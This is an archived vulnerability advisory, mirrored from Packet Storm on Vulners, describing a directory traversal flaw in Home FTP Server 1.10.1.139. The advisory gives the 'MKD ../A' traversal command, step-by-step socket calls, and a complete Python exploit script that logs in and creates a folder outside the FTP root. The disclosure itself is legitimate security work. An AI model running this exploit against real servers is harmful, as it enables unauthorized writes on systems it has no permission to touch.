Lucene search
K

Home FTP Server 1.10.1.139 Traversal

🗓️ 18 Nov 2009 00:00:00Reported by zhangmcType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

Home FTP Server has a directory traversal vulnerability allowing unauthorized directory creation.

Code
`Date of Discovery: 17-Nov-2009  
  
Credits:zhangmc[at]mail.ustc.edu.cn  
  
Vendor:  
Ari Pikivirta  
http://downstairs.dnsalias.net/homeftpserver.html  
  
Affected:  
Home FTP Server 1.10.1.139  
Earlier versions may also be affected  
  
Overview:  
Home FTP Server is an easy use FTP server Application. Directory Traversal Vulnerability exists in Home FTP Server that   
  
allows an authenticated user to create directories outside the FTP root directory, which may lead to other attacks.  
  
Details:  
Home FTP Server fails to sufficiently sanitize user-supplied input in 'MKD' command. An authenticated user could use command   
  
"MKD ../A" to create a folder named "A" outside the FTP root directory.  
If you could log on the server successfully, take the following steps to create directories outside the FTP root directory:  
  
1.sock.connect((hostname, 21))  
2.sock.send("user %s\r\n" %username)  
3.sock.send("pass %s\r\n" %passwd)  
4.sock.send("MKD ../A\r\n")  
5.sock.close()  
  
Severity:  
High  
  
Exploit example:  
  
#!/usr/bin/python  
import socket  
import sys  
  
def Usage():  
print ("Usage: ./expl.py <serv_ip> <Username> <password>\n")  
print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")  
if len(sys.argv) <> 4:  
Usage()  
sys.exit(1)  
else:  
hostname=sys.argv[1]  
username=sys.argv[2]  
passwd=sys.argv[3]  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
sock.connect((hostname, 21))  
except:  
print ("Connection error!")  
sys.exit(1)  
r=sock.recv(1024)  
sock.send("user %s\r\n" %username)  
r=sock.recv(1024)  
sock.send("pass %s\r\n" %passwd)  
r=sock.recv(1024)  
sock.send("MKD ../A\r\n")  
sock.close()  
sys.exit(0);  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation